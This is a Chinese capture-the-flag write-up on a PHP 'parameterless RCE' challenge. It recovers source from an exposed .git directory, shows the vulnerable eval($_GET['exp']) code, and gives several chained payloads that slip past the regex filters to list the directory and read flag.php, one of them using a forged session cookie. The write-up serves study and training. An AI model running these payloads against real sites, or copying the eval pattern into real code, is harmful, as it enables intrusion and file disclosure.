Author:颖奇L’Amore (比赛平台id:Y1ng)

blog: https://www.gem-love.com


所谓无参数RCE,就是只允许执行a(), a(b())这样的函数,而不允许带参数,比如echo("aa")是禁止的
关于无参数RCE,推荐一篇sky师傅的文章:

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

感觉这道题改编自2019ByteCTF,不过本菜鸡是前段时间做sycsec师傅们出的Geek 10th挑战赛才学会的无参数RCE




考点一 git泄露

题目打开什么也没有,我的字典太垃圾了也没扫到有用信息。

校内平台给了hint, 校外的好像没给,就只能扫了,字典好的话可以扫到/.git目录。我是看了hint才会做的(我太菜了)

知道了/.git目录,直接上githack

python GitHack.py http://172.21.4.12:10031/.git/

得到index.php源代码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
	if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
		if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp'])) {
			if (!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code)) {
				// echo $_GET['exp'];
				eval($_GET['exp']);
			}
			else{
				die("还差一点哦!");
			}
		}
		else{
			die("再好好想想!");
		}
	}
	else{
		die("还想读flag,臭弟弟!");
	}
}
// highlight_file(__FILE__);
?>

看下正则匹配,(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数

然后eval($_GET['exp']); 典型的无参数RCE

由于正则匹配了一些关键字比如et导致很多函数不能用,getshell什么的基本不可能,只能考虑读源码。




如何得到文件名flag.php

要想读出flag.php,就需要有一个函数返回flag.php文件名,scandir()函数可以扫描当前目录下的文件,例如:

<?php
print_r(scandir('.'));




如何得到scandir()中的’.’
1.chr(46)

对于这种方法chr(46),又来了新的问题,46如何得到?我知道的有三种方法

  • chr(rand())
  • chr(time())
  • chr(current(localtime(time())))

首先解释一下chr()函数,我们知道time()返回一个非常大的数,却依然能够通过chr(time())得到一个点。这是因为chr()函数以256为一个周期,即chr(0) chr(256) chr(512)以此类推 他们都是相等。比如我们可以得到1w以内能够得到点的数

<?php
for ($i = 0; $i<10000; $i++) 
    if ( chr($i) === '.')
        echo $i." ";
46 302 558 814 1070 1326 1582 1838 2094 2350 2606 2862 3118 3374 3630 3886 4142 4398 4654 4910 5166 5422 5678 5934 6190 6446 6702 6958 7214 7470 7726 7982 8238 8494 8750 9006 9262 9518 9774

因此,假设使用chr(time()),最多256秒(4.26min)走完一个周期,必定出现一个点。

但我本人喜欢用第三种:

localtime(time())的返回一个数组,Array[0]为一个0~60之间的数字,每秒加1,所以最多一分钟就可以得到46。由于php数组内部指针默认指向第一个元素,所以current()pos()取数组中当前元素的值,就得到了这个数字。

相关操作数组的方法有(源自w3school):

  • end() – 将内部指针指向数组中的最后一个元素,并输出
  • next() – 将内部指针指向数组中的下一个元素,并输出
  • prev() – 将内部指针指向数组中的上一个元素,并输出
  • reset() – 将内部指针指向数组中的第一个元素,并输出
  • each() – 返回当前元素的键名和键值,并将内部指针向前移动

end()next()很多时候都很有用


2.current(localeconv())

localeconv() 函数返回一包含本地数字及货币格式信息的数组,current(localeconv())永远都是个点


3.phpversion()

原文链接:http://www.manongjc.com/detail/13-ksgbihhdbvdbnza.html

phpversion()返回php版本,如7.3.5

floor(phpversion())返回7

sqrt(floor(phpversion()))返回2.6457513110646

tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.

var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录

next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..


4.crypt()

原文链接 https://www.jianshu.com/p/060d16584b8e

readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

原理:hebrevc(crypt(arg))可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符

if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

原理:crypt(serialize(array())) 原因同上




如何得到flag.php

现在,我们尝试用scandir()扫描当前目录

?exp=print_r(scandir(current(localeconv())));

可见,flag.php是倒数第二个值,假设是倒数第一个我们可以用end(),但是并没有一个操作数组的函数能够输出数组的倒数第二个值。怎么办?请见如下3种方法

1.array_reverse()

看函数名就知道了,以相反的元素顺序返回数组

?exp=print_r(array_reverse(scandir(current(localeconv()))));

然后上面介绍操作数组的方法中,next()将内部指针指向数组中的下一个元素并输出,next(array_reverse(scandir(pos(localeconv()))))就得到了flag.php


2.array_rand(array_flip())

array_flip()交换数组的键和值

?exp=print_r(array_flip(scandir(current(localeconv()))));

array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));


3.session_id(session_start())

2020年1月13日更新session_id()解题方法:

sky师傅的文章里介绍了这种方法,本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。

使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。

session_id()可以获取到当前的session id。

因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php

(这个Chrome插件叫EditThisCookie 也可以通过burp加上cookie)

然后获取到当前session id:

?exp=print_r(session_id(session_start()));




如何读flag.php的源码

因为et被ban了,所以不能使用file_get_contents(),但是可以可以使用readfile()highlight_file()以及其别名函数show_source()

view-source:http://172.21.4.12:10031/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

?exp=show_source(session_id(session_start()));

得到flag。

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/530.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

1 条评论

V1p3r · 2020年1月13日 20:04

66666学到了

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image